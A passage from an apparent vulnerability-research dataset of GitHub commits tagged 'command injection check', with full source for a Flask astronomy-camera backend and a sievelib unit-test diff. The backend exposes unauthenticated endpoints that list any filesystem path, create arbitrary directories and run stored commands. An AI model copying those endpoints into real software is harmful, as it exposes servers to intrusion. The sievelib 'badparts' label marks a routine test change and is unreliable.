get_image_database(type).lookup_edit(image) as image: image_info=image.convert(request.args) return send_from_directory( image_info['directory'], image_info['filename'], mimetype=image_info['content_type'], as_attachment=request.args.get('download')=='true', attachment_filename=image_info['filename'], ) @app.route('/api/images///histogram', methods=['GET']) @json_api def retrieve_image_histogram(type, image): image=get_image_database(type).lookup(image) args={} if 'bins' in request.args: args['bins']=request.args['bins'] return image.histogram(**args) @app.route('/api/mkdir', methods=['POST']) @json_input @json_api def browser_mkdir(json): try: path=json['path'] if 'path' in json else os.path.join(json['parent'], json['name']) os.makedirs(path) return{ 'parent': os.path.dirname(path), 'name': os.path.basename(path), 'path': path, 'created': True, } except KeyError: raise BadRequestError('Invalid json') except Exception as e: raise BadRequestError(str(e)) @app.route('/api/directory_browser', methods=['GET']) @json_api def directory_browser(): path=request.args.get('path', '/') if not os.path.exists(path): parent_dir=path while not os.path.isdir(parent_dir): parent_dir=os.path.dirname(parent_dir) raise NotFoundError(\"Directory{} doesn't exists\".format(path), payload={ 'requested_path': path, 'redirect_to': parent_dir}) if not os.path.isdir(path): raise BadRequestError('Path{} is not a directory'.format(path)) entries=sorted(os.listdir(path)) subdirectories=[dir for dir in entries if os.path.isdir(os.path.join(path, dir))] parent=os.path.dirname(path) response={ 'path': os.path.normpath(path), 'subdirectories': subdirectories, 'parent': os.path.normpath(parent) if parent !=path else None, } if request.args.get('show_files', 'false')=='true': response['files']=[dir for dir in entries if os.path.isfile(os.path.join(path, dir))] return response @app.route('/api/commands', methods=['GET']) @json_api def get_available_commands(): return commands.to_map() @app.route('/api/commands//run', methods=['POST']) @json_api def run_command(id): return commands.run(id) ", "sourceWithComments": "from flask import jsonify, Response, send_from_directory, request\nfrom api_decorators import *\nfrom api_utils import *\nfrom models import Server, Sequence, SequenceItem, NotFoundError, Property, Device, INDIProfile, ImagesDatabase, camera_images_db, main_images_db, commands\nimport os\nfrom controller import controller\nfrom app import app\nimport logging\nimport io\n\ndefault_settings = {}\n\ngunicorn_logger = logging.getLogger('gunicorn.error')\napp.logger.handlers = gunicorn_logger.handlers\n\nis_debug_mode = int(os.environ.get('DEV_MODE', '0')) == 1\napp.logger.setLevel(os.environ.get('LOG_LEVEL', 'DEBUG' if is_debug_mode else 'INFO' ))\n\n@app.route('/api/version')\n@json_api\ndef backend_version():\n return app.config['version']\n\n@app.route('/api/events')\ndef events():\n return Response(controller.sse.subscribe().feed(), mimetype='text/event-stream')\n\n@app.route('/api/settings', methods=['GET'])\n@json_api\ndef get_settings():\n return controller.settings.to_map()\n\n@app.route('/api/settings', methods=['PUT'])\n@json_input\n@json_api\ndef update_settings(json):\n controller.settings.update(json)\n updated_settings = controller.settings.to_map()\n return dict([setting for setting in updated_settings.items() if setting[0] in json])\n\n# INDI Server management\n\n@app.route('/api/indi_service/status', methods=['GET'])\n@json_api\ndef get_indi_service_status():\n return controller.indi_service.status()\n\n\n@app.route('/api/indi_service', methods=['GET'])\n@json_api\ndef get_indi_service():\n return controller.indi_service.to_map()\n\n\n@app.route('/api/indi_service/start', methods=['POST'])\n@json_input\n@json_api\ndef start_indi_service(json):\n try:\n controller.indi_service.start(json['devices'])\n return { 'indi_service': 'starting' }\n except RuntimeError as e:\n raise BadRequestError(str(e))\n\n\n@app.route('/api/indi_service/stop', methods=['POST'])\n@json_api\ndef stop_indi_service():\n controller.indi_service.stop()\n return { 'indi_service': 'stopping' }\n\n## INDI Profiles\n@app.route('/api/indi_profiles', methods=['GET'])\n@json_api\ndef get_indi_profiles():\n return [x.to_map() for x in controller.indi_profiles]\n\n\n@app.route('/api/indi_profiles/', methods=['GET'])\n@json_api\ndef get_indi_profile(id):\n return controller.indi_profiles.lookup(id).to_map()\n\n\n@app.route('/api/indi_profiles/', methods=['DELETE'])\n@json_api\ndef delete_indi_profile(id):\n indi_profile = controller.indi_profiles.lookup(id)\n indi_profile_json = indi_profile.to_map()\n indi_profile_json.update({'status': 'deleted'})\n controller.indi_profiles.remove(indi_profile)\n return indi_profile_json\n\n\n@app.route('/api/indi_profiles', methods=['POST'])\n@json_input\n@json_api\ndef new_indi_profile(json):\n try:\n new_indi_profile = INDIProfile(name=json['name'], devices=json['devices'])\n controller.indi_profiles.append(new_indi_profile)\n return new_indi_profile.to_map()\n except KeyError:\n raise BadRequestError('Invalid json')\n\n@app.route('/api/indi_profiles/', methods=['PUT'])\n@json_input\n@json_api\ndef update_indi_profile(id, json):\n updated_profile = None\n with controller.indi_profiles.lookup_edit(id) as profile:\n profile.update(json)\n updated_profile = profile.to_map()\n return updated_profile\n\n# INDI Methods\n\n@app.route('/api/server/status', methods=['GET'])\n@json_api\ndef get_server_status():\n return controller.indi_server.to_map()\n\n\n@app.route('/api/server/connect', methods=['PUT'])\n@json_api\ndef connect_server():\n controller.indi_server.connect()\n is_error = not timeout(5)(controller.indi_server.is_connected)()\n return notify('indi_server', 'indi_server_connect', controller.indi_server.to_map(), is_error)\n\n@app.route('/api/server/disconnect', methods=['PUT'])\n@json_api\n@indi_connected\ndef disconnect_server():\n controller.indi_server.disconnect()\n is_error = not timeout(5)(lambda: not controller.indi_server.is_connected())()\n return notify('indi_server', 'indi_server_disconnect', controller.indi_server.to_map(), is_error)\n\n\n@app.route('/api/server/devices', methods=['GET'])\n@json_api\n@indi_connected\ndef get_devices():\n return [x.to_map() for x in controller.indi_server.devices()]\n\n\n@app.route('/api/server/devices//properties', methods=['GET'])\n@json_api\n@indi_connected\ndef get_device_properties(name):\n device = controller.indi_server.device(name=name)\n return [p.to_map() for p in device.properties()]\n\n\n@app.route('/api/server/devices//properties/', methods=['PUT'])\n@json_input\n@json_api\n@indi_connected\ndef update_indi_property(device, property_name, json):\n app.logger.debug('update property: {}/{} ({})'.format(device, property_name, json))\n indi_property = controller.indi_server.property(device=device, name=property_name)\n return { 'action': 'set_property', 'device': device, 'property': property_name, 'values': json, 'result': indi_property.set_values(json) }\n\n\n\n@app.route('/api/filter_wheels', methods=['GET'])\n@json_api\n@indi_connected\ndef get_filter_wheels():\n return [x.to_map() for x in controller.indi_server.filter_wheels()]\n\n# Sequences\n\n@app.route('/api/sequences', methods=['GET'])\n@json_api\ndef get_sequences():\n return [x.to_map() for x in controller.sequences]\n\n\n@app.route('/api/sequences/', methods=['GET'])\n@json_api\ndef get_sequence(id):\n return controller.sequences.lookup(id).to_map()\n\n\n# TODO: cleanup all resources, such as sequence items and images\n@app.route('/api/sequences/', methods=['DELETE'])\n@json_api\ndef delete_sequence(id):\n sequence = controller.sequences.lookup(id)\n sequence_json = sequence.to_map()\n sequence_json.update({'status': 'deleted'})\n controller.sequences.remove(sequence)\n return sequence_json\n\n\n@app.route('/api/sequences', methods=['POST'])\n@json_input\n@json_api\ndef new_sequence(json):\n try:\n new_sequence = Sequence(json['name'], json['directory'], json['camera'], json.get('filterWheel'))\n controller.sequences.append(new_sequence)\n return new_sequence.to_map()\n except KeyError:\n raise BadRequestError('Invalid json')\n\n\n@app.route('/api/sequences//start', methods=['POST'])\n@json_api\ndef start_sequence(id):\n controller.sequences_runner.run(id)\n return controller.sequences.lookup(id).to_map()\n\n\n@app.route('/api/sequences//duplicate', methods=['POST'])\n@json_api\ndef duplicate_sequence(id):\n return controller.sequences.duplicate(id).to_map()\n\n\n# Sequence Items\n\n@app.route('/api/sequences//sequence_items', methods=['POST'])\n@json_input\n@json_api\ndef add_sequence_item(id, json):\n new_sequence_item = SequenceItem(json)\n with controller.sequences.lookup_edit(id) as sequence:\n app.logger.debug('adding sequence item {} to id {}'.format(new_sequence_item, id))\n sequence.sequence_items.append(new_sequence_item)\n return new_sequence_item.to_map()\n\n\n@app.route('/api/sequences//sequence_items/', methods=['PUT'])\n@json_input\n@json_api\ndef update_sequence_item(sequence_id, sequence_item_id, json):\n app.logger.debug('modifying sequence item {} from sequence'.format(sequence_item_id, sequence_id))\n new_sequence_item = SequenceItem(json)\n with controller.sequences.lookup_edit(sequence_id) as sequence:\n sequence.sequence_items = [new_sequence_item if x.id == sequence_item_id else x for x in sequence.sequence_items]\n return new_sequence_item.to_map()\n\n\n@app.route('/api/sequences//sequence_items//move', methods=['PUT'])\n@json_input\n@json_api\ndef move_sequence_item(sequence_id, sequence_item_id, json):\n app.logger.debug('moving sequence item {}: direction: {}'.format(sequence_item_id, json['direction']))\n with controller.sequences.lookup_edit(sequence_id) as sequence:\n index = [ index for index, item in enumerate(sequence.sequence_items) if item.id == sequence_item_id]\n if not index:\n raise NotFoundError('Sequence item {} not found in sequence {}'.format(sequence_item_id, sequence_id))\n index = index[0]\n new_index = index-1 if json['direction'] == 'up' else index+1\n if new_index >= 0 and new_index < len(sequence.sequence_items):\n sequence.sequence_items.insert(new_index, sequence.sequence_items.pop(index))\n return sequence.to_map()\n\n\n\n@app.route('/api/sequences//sequence_items//duplicate', methods=['PUT'])\n@json_api\ndef duplicate_sequence_item(sequence_id, sequence_item_id):\n app.logger.debug('duplicate item {}'.format(sequence_item_id))\n with controller.sequences.lookup_edit(sequence_id) as sequence:\n sequence_item = sequence.item(sequence_item_id)\n sequence.sequence_items.append(sequence_item.duplicate())\n return sequence.to_map()\n\n\n\n\n@app.route('/api/sequences//sequence_items/', methods=['DELETE'])\n@json_api\ndef delete_sequence_item(sequence_id, sequence_item_id):\n with controller.sequences.lookup_edit(sequence_id) as sequence:\n sequence_item = sequence.item(sequence_item_id)\n sequence_item = sequence_item.to_map()\n sequence_item.update({'status': 'deleted'})\n sequence.sequence_items = [x for x in sequence.sequence_items if x.id != sequence_item_id]\n return sequence_item\n\n#imaging module\n\n\n@app.route('/api/cameras', methods=['GET'])\n@json_api\n@indi_connected\ndef get_cameras():\n return [x.to_map() for x in controller.indi_server.cameras()]\n\n\ndef lookup_camera(id):\n camera = [c for c in controller.indi_server.cameras() if c.id == id]\n if not camera:\n raise NotFoundError('Camera {} not found'.format(json['camera']))\n return camera[0]\n\n\n@app.route('/api/cameras//image', methods=['POST'])\n@json_input\n@json_api\n@indi_connected\ndef shoot_image(camera, json):\n return lookup_camera(camera).shoot_image(json)\n\n\ndef get_image_database(type):\n image_databases = {\n 'camera': camera_images_db,\n 'main': main_images_db,\n }\n if not type in image_databases:\n raise BadRequestError('Image type {} not recognized'.format(type))\n return image_databases[type]\n\n@app.route('/api/images///wait_until_ready', methods=['GET'])\n@json_api\ndef wait_for_image(type, image):\n get_image_database(type).lookup(image, file_required=False).wait_until_ready()\n return { 'ready': True }\n\n@app.route('/api/images///ready', methods=['GET'])\n@json_api\ndef image_is_ready(type, image):\n if get_image_database(type).lookup(image, file_required=False).is_ready():\n return { 'ready': True }\n else:\n raise NotFoundError('Image with type {} and id {} not found'.format(type, imag))\n\n\n@app.route('/api/images/', methods=['GET'])\n@json_api\ndef retrieve_images(type):\n return get_image_database(type).to_map()\n\n@app.route('/api/images//', methods=['GET'])\n@managed_api\ndef retrieve_image(type, image):\n with get_image_database(type).lookup_edit(image) as image:\n image_info = image.convert(request.args)\n return send_from_directory(\n image_info['directory'],\n image_info['filename'],\n mimetype=image_info['content_type'],\n as_attachment=request.args.get('download') == 'true',\n attachment_filename=image_info['filename'],\n )\n\n\n@app.route('/api/images///histogram', methods=['GET'])\n@json_api\ndef retrieve_image_histogram(type, image):\n image = get_image_database(type).lookup(image)\n args = {}\n if 'bins' in request.args:\n args['bins'] = request.args['bins']\n return image.histogram(**args)\n\n\n# filesystem\n@app.route('/api/mkdir', methods=['POST'])\n@json_input\n@json_api\ndef browser_mkdir(json):\n try:\n path = json['path'] if 'path' in json else os.path.join(json['parent'], json['name'])\n os.makedirs(path)\n return {\n 'parent': os.path.dirname(path),\n 'name': os.path.basename(path),\n 'path': path,\n 'created': True,\n }\n except KeyError:\n raise BadRequestError('Invalid json')\n except Exception as e:\n raise BadRequestError(str(e))\n\n@app.route('/api/directory_browser', methods=['GET'])\n@json_api\ndef directory_browser():\n path=request.args.get('path', '/')\n if not os.path.exists(path):\n parent_dir = path\n while not os.path.isdir(parent_dir):\n parent_dir = os.path.dirname(parent_dir)\n raise NotFoundError(\"Directory {} doesn't exists\".format(path), payload={ 'requested_path': path, 'redirect_to': parent_dir })\n\n if not os.path.isdir(path):\n raise BadRequestError('Path {} is not a directory'.format(path))\n\n entries = sorted(os.listdir(path))\n\n subdirectories = [dir for dir in entries if os.path.isdir(os.path.join(path, dir))]\n parent = os.path.dirname(path)\n response = {\n 'path': os.path.normpath(path),\n 'subdirectories': subdirectories,\n 'parent': os.path.normpath(parent) if parent != path else None,\n }\n if request.args.get('show_files', 'false') == 'true':\n response['files'] = [dir for dir in entries if os.path.isfile(os.path.join(path, dir))]\n return response\n\n# Run commands\n@app.route('/api/commands', methods=['GET'])\n@json_api\ndef get_available_commands():\n return commands.to_map()\n\n@app.route('/api/commands//run', methods=['POST'])\n@json_api\ndef run_command(id):\n return commands.run(id)\n\n"}}, "msg": "Backend support for command checking, and environment variables injection"}}, "https://github.com/tonioo/sievelib": {"f27056750ced15ec3f1ff88bf7de597ca95967bb": {"url": "https://api.github.com/repos/tonioo/sievelib/commits/f27056750ced15ec3f1ff88bf7de597ca95967bb", "html_url": "https://github.com/tonioo/sievelib/commit/f27056750ced15ec3f1ff88bf7de597ca95967bb", "message": "changed test_add_command to check for UnknownCommand before injection", "sha": "f27056750ced15ec3f1ff88bf7de597ca95967bb", "keyword": "command injection check", "diff": "diff --git a/sievelib/tests/parser.py b/sievelib/tests/parser.py\nindex 9183fb1..4228998 100644\n--- a/sievelib/tests/parser.py\n+++ b/sievelib/tests/parser.py\n@@ -49,13 +49,13 @@ def representation_is(self, content):\n class AdditionalCommands(SieveTest):\n \n def test_add_command(self):\n+ self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'mytest')\n sievelib.commands.add_commands(MytestCommand)\n sievelib.commands.get_command_instance('mytest')\n- self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'unknowncommand')\n self.compilation_ok(\"\"\"\n mytest :testtag 10 [\"testrecp1@example.com\"];\n \"\"\")\n- \n+\n \n class ValidSyntaxes(SieveTest):\n \n", "files": {"/sievelib/tests/parser.py": {"changes": [{"diff": "\n class AdditionalCommands(SieveTest):\n \n def test_add_command(self):\n+ self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'mytest')\n sievelib.commands.add_commands(MytestCommand)\n sievelib.commands.get_command_instance('mytest')\n- self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'unknowncommand')\n self.compilation_ok(\"\"\"\n mytest :testtag 10 [\"testrecp1@example.com\"];\n \"\"\")\n- \n+\n \n class ValidSyntaxes(SieveTest):\n \n", "add": 2, "remove": 2, "filename": "/sievelib/tests/parser.py", "badparts": [" self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'unknowncommand')"], "goodparts": [" self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'mytest')"]}], "source": "\n \"\"\" Unit tests for the SIEVE language parser. \"\"\" from sievelib.parser import Parser import sievelib.commands import unittest import cStringIO class MytestCommand(sievelib.commands.ActionCommand): args_definition=[ {\"name\": \"testtag\", \"type\":[\"tag\"], \"write_tag\": True, \"values\":[\":testtag\"], \"extra_arg\":{\"type\": \"number\", \"required\": False}, \"required\": False}, {\"name\": \"recipients\", \"type\":[\"string\", \"stringlist\"], \"required\": True} ] class SieveTest(unittest.TestCase): def setUp(self): self.parser=Parser() def __checkCompilation(self, script, result): self.assertEqual(self.parser.parse(script), result) def compilation_ok(self, script): self.__checkCompilation(script, True) def compilation_ko(self, script): self.__checkCompilation(script, False) def representation_is(self, content): target=cStringIO.StringIO() self.parser.dump(target) repr_=target.getvalue() target.close() self.assertEqual(repr_, content.lstrip()) class AdditionalCommands(SieveTest): def test_add_command(self): sievelib.commands.add_commands(MytestCommand) sievelib.commands.get_command_instance('mytest') self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'unknowncommand') self.compilation_ok(\"\"\" mytest:testtag 10[\"testrecp1@example.com\"]; \"\"\") class ValidSyntaxes(SieveTest): def test_hash_comment(self): self.compilation_ok(\"\"\" if size:over 100k{ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) size(type: test) :over 100k discard(type: action) \"\"\") def test_bracket_comment(self): self.compilation_ok(\"\"\" if size:over 100K{ /* this is a comment this is still a comment */ discard /* this is a comment */ ; } \"\"\") self.representation_is(\"\"\" if(type: control) size(type: test) :over 100K discard(type: action) \"\"\") def test_string_with_bracket_comment(self): self.compilation_ok(\"\"\" if header:contains \"Cc\" \"/* comment */\"{ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) header(type: test) :contains \"Cc\" \"/* comment */\" discard(type: action) \"\"\") def test_multiline_string(self): self.compilation_ok(\"\"\" require \"reject\"; if allof(false, address:is[\"From\", \"Sender\"][\"blka@bla.com\"]){ reject text: noreply ============================ Your email has been canceled ============================ . ; stop; } else{ reject text: ================================ Your email has been canceled too ================================ . ; } \"\"\") self.representation_is(\"\"\" require(type: control) \"reject\" if(type: control) allof(type: test) false(type: test) address(type: test) :is [\"From\",\"Sender\"] [\"blka@bla.com\"] reject(type: action) text: noreply ============================ Your email has been canceled ============================ . stop(type: control) else(type: control) reject(type: action) text: ================================ Your email has been canceled too ================================ . \"\"\") def test_nested_blocks(self): self.compilation_ok(\"\"\" if header:contains \"Sender\" \"example.com\"{ if header:contains \"Sender\" \"me@\"{ discard; } elsif header:contains \"Sender\" \"you@\"{ keep; } } \"\"\") self.representation_is(\"\"\" if(type: control) header(type: test) :contains \"Sender\" \"example.com\" if(type: control) header(type: test) :contains \"Sender\" \"me@\" discard(type: action) elsif(type: control) header(type: test) :contains \"Sender\" \"you@\" keep(type: action) \"\"\") def test_true_test(self): self.compilation_ok(\"\"\" if true{ } \"\"\") self.representation_is(\"\"\" if(type: control) true(type: test) \"\"\") def test_rfc5228_extended(self): self.compilation_ok(\"\"\" require[\"fileinto\"]; if header:is \"Sender\" \"owner-ietf-mta-filters@imc.org\" { fileinto \"filter\"; } elsif address:DOMAIN:is[\"From\", \"To\"] \"example.com\" { keep; } elsif anyof(NOT address:all:contains [\"To\", \"Cc\", \"Bcc\"] \"me@example.com\", header:matches \"subject\" [\"*make*money*fast*\", \"*university*dipl*mas*\"]) { fileinto \"spam\"; } else { fileinto \"personal\"; } \"\"\") self.representation_is(\"\"\" require(type: control) [\"fileinto\"] if(type: control) header(type: test) :is \"Sender\" \"owner-ietf-mta-filters@imc.org\" fileinto(type: action) \"filter\" elsif(type: control) address(type: test) :DOMAIN :is [\"From\",\"To\"] \"example.com\" keep(type: action) elsif(type: control) anyof(type: test) not(type: test) address(type: test) :all :contains [\"To\",\"Cc\",\"Bcc\"] \"me@example.com\" header(type: test) :matches \"subject\" [\"*make*money*fast*\",\"*university*dipl*mas*\"] fileinto(type: action) \"spam\" else(type: control) fileinto(type: action) \"personal\" \"\"\") def test_explicit_comparator(self): self.compilation_ok(\"\"\" if header:contains:comparator \"i;octet\" \"Subject\" \"MAKE MONEY FAST\"{ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) header(type: test) \"i;octet\" :contains \"Subject\" \"MAKE MONEY FAST\" discard(type: action) \"\"\") def test_non_ordered_args(self): self.compilation_ok(\"\"\" if address:all:is \"from\" \"tim@example.com\"{ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) address(type: test) :all :is \"from\" \"tim@example.com\" discard(type: action) \"\"\") def test_multiple_not(self): self.compilation_ok(\"\"\" if not not not not true{ stop; } \"\"\") self.representation_is(\"\"\" if(type: control) not(type: test) not(type: test) not(type: test) not(type: test) true(type: test) stop(type: control) \"\"\") def test_just_one_command(self): self.compilation_ok(\"keep;\") self.representation_is(\"\"\" keep(type: action) \"\"\") def test_singletest_testlist(self): self.compilation_ok(\"\"\" if anyof(true){ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) anyof(type: test) true(type: test) discard(type: action) \"\"\") def test_truefalse_testlist(self): self.compilation_ok(\"\"\" if anyof(true, false){ discard; } \"\"\") self.representation_is(\"\"\" if(type: control) anyof(type: test) true(type: test) false(type: test) discard(type: action) \"\"\") def test_vacationext_basic(self): self.compilation_ok(\"\"\" require \"vacation\"; if header:contains \"subject\" \"cyrus\"{ vacation \"I'm out --send mail to cyrus-bugs\"; } else{ vacation \"I'm out --call me at +1 304 555 0123\"; } \"\"\") def test_vacationext_medium(self): self.compilation_ok(\"\"\" require \"vacation\"; if header:contains \"subject\" \"lunch\"{ vacation:handle \"ran-away\" \"I'm out and can't meet for lunch\"; } else{ vacation:handle \"ran-away\" \"I'm out\"; } \"\"\") def test_vacationext_with_limit(self): self.compilation_ok(\"\"\" require \"vacation\"; vacation:days 23:addresses[\"tjs@example.edu\", \"ts4z@landru.example.edu\"] \"I'm away until October 19. If it's an emergency, call 911, I guess.\" ; \"\"\") def test_vacationext_with_multiline(self): self.compilation_ok(\"\"\" require \"vacation\"; vacation:mime text: Content-Type: multipart/alternative; boundary=foo --foo I'm at the beach relaxing. Mmmm, surf... --foo Content-Type: text/html; charset=us-ascii How to relax

    I'm at the beach relaxing. Mmmm, surf... --foo-- . ; \"\"\") def test_reject_extension(self): self.compilation_ok(\"\"\" require \"reject\"; if header:contains \"subject\" \"viagra\"{ reject; } \"\"\") class InvalidSyntaxes(SieveTest): def test_nested_comments(self): self.compilation_ko(\"\"\" /* this is a comment /* with a nested comment inside */ it is allowed by the RFC:p */ \"\"\") def test_nonopened_block(self): self.compilation_ko(\"\"\" if header:is \"Sender\" \"me@example.com\" discard; } \"\"\") def test_nonclosed_block(self): self.compilation_ko(\"\"\" if header:is \"Sender\" \"me@example.com\"{ discard; \"\"\") def test_unknown_token(self): self.compilation_ko(\"\"\" if header:is \"Sender\" \"Toto\" & header:contains \"Cc\" \"Tata\"{ } \"\"\") def test_empty_string_list(self): self.compilation_ko(\"require[];\") def test_unclosed_string_list(self): self.compilation_ko('require[\"toto\", \"tata\";') def test_misplaced_comma_in_string_list(self): self.compilation_ko('require[\"toto\",];') def test_nonopened_tests_list(self): self.compilation_ko(\"\"\" if anyof header:is \"Sender\" \"me@example.com\", header:is \"Sender\" \"myself@example.com\"){ fileinto \"trash\"; } \"\"\") def test_nonclosed_tests_list(self): self.compilation_ko(\"\"\" if anyof(header:is \"Sender\" \"me@example.com\", header:is \"Sender\" \"myself@example.com\"{ fileinto \"trash\"; } \"\"\") def test_nonclosed_tests_list2(self): self.compilation_ko(\"\"\" if anyof(header:is \"Sender\"{ fileinto \"trash\"; } \"\"\") def test_misplaced_comma_in_tests_list(self): self.compilation_ko(\"\"\" if anyof(header:is \"Sender\" \"me@example.com\",){ } \"\"\") def test_comma_inside_arguments(self): self.compilation_ko(\"\"\" require \"fileinto\", \"enveloppe\"; \"\"\") def test_non_ordered_args(self): self.compilation_ko(\"\"\" if address \"From\":is \"tim@example.com\"{ discard; } \"\"\") def test_extra_arg(self): self.compilation_ko(\"\"\" if address:is \"From\" \"tim@example.com\" \"tutu\"{ discard; } \"\"\") def test_empty_not(self): self.compilation_ko(\"\"\" if not{ discard; } \"\"\") def test_missing_semicolon(self): self.compilation_ko(\"\"\" require[\"fileinto\"] \"\"\") def test_missing_semicolon_in_block(self): self.compilation_ko(\"\"\" if true{ stop } \"\"\") def test_misplaced_parenthesis(self): self.compilation_ko(\"\"\" if(true){ } \"\"\") class LanguageRestrictions(SieveTest): def test_unknown_control(self): self.compilation_ko(\"\"\" macommande \"Toto\"; \"\"\") def test_misplaced_elsif(self): self.compilation_ko(\"\"\" elsif true{ } \"\"\") def test_misplaced_elsif2(self): self.compilation_ko(\"\"\" elsif header:is \"From\" \"toto\"{ } \"\"\") def test_misplaced_nested_elsif(self): self.compilation_ko(\"\"\" if true{ elsif false{ } } \"\"\") def test_unexpected_argument(self): self.compilation_ko('stop \"toto\";') def test_bad_arg_value(self): self.compilation_ko(\"\"\" if header:isnot \"Sent\" \"me@example.com\"{ stop; } \"\"\") def test_bad_arg_value2(self): self.compilation_ko(\"\"\" if header:isnot \"Sent\" 10000{ stop; } \"\"\") def test_bad_comparator_value(self): self.compilation_ko(\"\"\" if header:contains:comparator \"i;prout\" \"Subject\" \"MAKE MONEY FAST\"{ discard; } \"\"\") def test_not_included_extension(self): self.compilation_ko(\"\"\" if header:contains \"Subject\" \"MAKE MONEY FAST\"{ fileinto \"spam\"; } \"\"\") def test_test_outside_control(self): self.compilation_ko(\"true;\") if __name__==\"__main__\": unittest.main() ", "sourceWithComments": "# coding: utf-8\n\n\"\"\"\nUnit tests for the SIEVE language parser.\n\"\"\"\nfrom sievelib.parser import Parser\nimport sievelib.commands\nimport unittest\nimport cStringIO\n\n\nclass MytestCommand(sievelib.commands.ActionCommand):\n args_definition = [\n {\"name\" : \"testtag\",\n \"type\" : [\"tag\"],\n \"write_tag\": True,\n \"values\" : [\":testtag\"],\n \"extra_arg\" : {\"type\" : \"number\",\n \"required\": False},\n \"required\" : False},\n {\"name\" : \"recipients\",\n \"type\" : [\"string\", \"stringlist\"],\n \"required\" : True}\n ]\n\n\n\nclass SieveTest(unittest.TestCase):\n def setUp(self):\n self.parser = Parser()\n\n def __checkCompilation(self, script, result):\n self.assertEqual(self.parser.parse(script), result)\n\n def compilation_ok(self, script):\n self.__checkCompilation(script, True)\n\n def compilation_ko(self, script):\n self.__checkCompilation(script, False)\n\n def representation_is(self, content):\n target = cStringIO.StringIO()\n self.parser.dump(target)\n repr_ = target.getvalue()\n target.close()\n self.assertEqual(repr_, content.lstrip())\n\n\nclass AdditionalCommands(SieveTest):\n\n def test_add_command(self):\n sievelib.commands.add_commands(MytestCommand)\n sievelib.commands.get_command_instance('mytest')\n self.assertRaises(sievelib.commands.UnknownCommand, sievelib.commands.get_command_instance, 'unknowncommand')\n self.compilation_ok(\"\"\"\n mytest :testtag 10 [\"testrecp1@example.com\"];\n \"\"\")\n \n\nclass ValidSyntaxes(SieveTest):\n\n def test_hash_comment(self):\n self.compilation_ok(\"\"\"\nif size :over 100k { # this is a comment\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n size (type: test)\n :over\n 100k\n discard (type: action)\n\"\"\")\n\n def test_bracket_comment(self):\n self.compilation_ok(\"\"\"\nif size :over 100K { /* this is a comment\n this is still a comment */ discard /* this is a comment\n */ ;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n size (type: test)\n :over\n 100K\n discard (type: action)\n\"\"\")\n \n def test_string_with_bracket_comment(self):\n self.compilation_ok(\"\"\"\nif header :contains \"Cc\" \"/* comment */\" {\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n header (type: test)\n :contains\n \"Cc\"\n \"/* comment */\"\n discard (type: action)\n\"\"\")\n\n def test_multiline_string(self):\n self.compilation_ok(\"\"\"\nrequire \"reject\";\n\nif allof (false, address :is [\"From\", \"Sender\"] [\"blka@bla.com\"]) {\n reject text:\nnoreply\n============================\nYour email has been canceled\n============================\n.\n;\n stop;\n} else {\n reject text:\n================================\nYour email has been canceled too\n================================\n.\n;\n}\n\"\"\")\n self.representation_is(\"\"\"\nrequire (type: control)\n \"reject\"\nif (type: control)\n allof (type: test)\n false (type: test)\n address (type: test)\n :is\n [\"From\",\"Sender\"]\n [\"blka@bla.com\"]\n reject (type: action)\n text:\nnoreply\n============================\nYour email has been canceled\n============================\n.\n stop (type: control)\nelse (type: control)\n reject (type: action)\n text:\n================================\nYour email has been canceled too\n================================\n.\n\"\"\")\n\n def test_nested_blocks(self):\n self.compilation_ok(\"\"\"\nif header :contains \"Sender\" \"example.com\" {\n if header :contains \"Sender\" \"me@\" {\n discard;\n } elsif header :contains \"Sender\" \"you@\" {\n keep;\n }\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n header (type: test)\n :contains\n \"Sender\"\n \"example.com\"\n if (type: control)\n header (type: test)\n :contains\n \"Sender\"\n \"me@\"\n discard (type: action)\n elsif (type: control)\n header (type: test)\n :contains\n \"Sender\"\n \"you@\"\n keep (type: action)\n\"\"\")\n\n def test_true_test(self):\n self.compilation_ok(\"\"\"\nif true {\n\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n true (type: test)\n\"\"\")\n\n def test_rfc5228_extended(self):\n self.compilation_ok(\"\"\"\n#\n# Example Sieve Filter\n# Declare any optional features or extension used by the script\n#\nrequire [\"fileinto\"];\n\n#\n# Handle messages from known mailing lists\n# Move messages from IETF filter discussion list to filter mailbox\n#\nif header :is \"Sender\" \"owner-ietf-mta-filters@imc.org\"\n {\n fileinto \"filter\"; # move to \"filter\" mailbox\n }\n#\n# Keep all messages to or from people in my company\n#\nelsif address :DOMAIN :is [\"From\", \"To\"] \"example.com\"\n {\n keep; # keep in \"In\" mailbox\n }\n\n#\n# Try and catch unsolicited email. If a message is not to me,\n# or it contains a subject known to be spam, file it away.\n#\nelsif anyof (NOT address :all :contains\n [\"To\", \"Cc\", \"Bcc\"] \"me@example.com\",\n header :matches \"subject\"\n [\"*make*money*fast*\", \"*university*dipl*mas*\"])\n {\n fileinto \"spam\"; # move to \"spam\" mailbox\n }\nelse\n {\n # Move all other (non-company) mail to \"personal\"\n # mailbox.\n fileinto \"personal\";\n }\n\"\"\")\n self.representation_is(\"\"\"\nrequire (type: control)\n [\"fileinto\"]\nif (type: control)\n header (type: test)\n :is\n \"Sender\"\n \"owner-ietf-mta-filters@imc.org\"\n fileinto (type: action)\n \"filter\"\nelsif (type: control)\n address (type: test)\n :DOMAIN\n :is\n [\"From\",\"To\"]\n \"example.com\"\n keep (type: action)\nelsif (type: control)\n anyof (type: test)\n not (type: test)\n address (type: test)\n :all\n :contains\n [\"To\",\"Cc\",\"Bcc\"]\n \"me@example.com\"\n header (type: test)\n 